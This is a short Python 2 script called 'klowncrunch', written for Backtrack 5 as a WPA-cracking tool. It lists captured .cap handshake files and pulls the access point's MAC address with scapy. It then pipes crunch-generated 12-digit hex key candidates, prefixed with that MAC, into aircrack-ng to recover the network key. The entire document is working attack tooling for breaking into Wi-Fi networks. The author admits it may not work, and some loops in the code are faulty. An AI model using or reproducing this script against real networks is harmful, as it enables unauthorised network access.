#!/usr/bin/python

# klowncrunch 
# Written by Capt_Noobius
# For use with Backtrack 5
#
# -- THIS IS SCRIPT IS PURELY FOR EXPERIMENTAL PURPOSES AND MAY NOT ACTUALLY WORK ;)  
#
# Your .cap file must be the name of the network you are cracking. Eg. MyNetwork must be MyNetwork.cap
# Your .cap file may need to be cleaned with WPAclean for this script to work properly
# WPAclean usage: wpaclean <new name of cap> <cap you want cleaned>

import os
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *
from scapy.utils import rdpcap

path = '/root/Desktop/' # change to the directory you keep your cap files
hccap = '.hccap' #not supported
pcap = '.cap'


def logo_header():
    
    print
    print """  
  _    _                                                  _     
 | | _| | _____      ___ __     ___ _ __ _   _ _ __   ___| |__  
 | |/ / |/ _ \ \ /\ / / '_ \   / __| '__| | | | '_ \ / __| '_ \ 
 |   <| | (_) \ V  V /| | | | | (__| |  | |_| | | | | (__| | | |
 |_|\_\_|\___/ \_/\_/ |_| |_|  \___|_|   \__,_|_| |_|\___|_| |_|

                           by Capt_Noobius
                                                                
"""
def capfile_options():
    logo_header()
    global ssid
    global handshake
    capfile_essid_stripped= os.path.splitext(os.path.basename(cap_selection))[0] 
    ssid= '"' + capfile_essid_stripped + '"' 
    cap_file= ''
    if any(cap_selection.endswith(hccap) for ext in hccap):
        print
        print "hccap files not supported. Please use a .cap file"
        sys.exit()
    if any(cap_selection.endswith(pcap) for ext in pcap):
        handshake= ssid+pcap 

def capfile_menu():
    logo_header()
    global cap_selection
    global cap_file 
    dirList=sorted(os.listdir(path))
    for i in range(0,len(dirList)): 
        print "%d)" % (i+1), dirList[i]
    selected = raw_input("Enter the number of the cap file you would like to crack: ")
    selected = int(selected) 
    cap_selection= dirList[selected-1]
    capfile_options()

def klown_crunch():
    pkts=rdpcap(path+cap_selection,1) 
    p=pkts[0]
    for pkt in pkts:
        mac_address= p.addr2  
    mac_replace = mac_address.replace(':', '')[:10].upper()  
    crunch_two='@@'
    crunch_main= '/pentest/passwords/crunch/./crunch 12 12 -f /pentest/passwords/crunch/charset.lst hex-upper -t %s%s | aircrack-ng -e %s %s -w-' % (mac_replace,crunch_two,ssid,path+handshake)
    os.system(crunch_main)


capfile_menu()
klown_crunch()
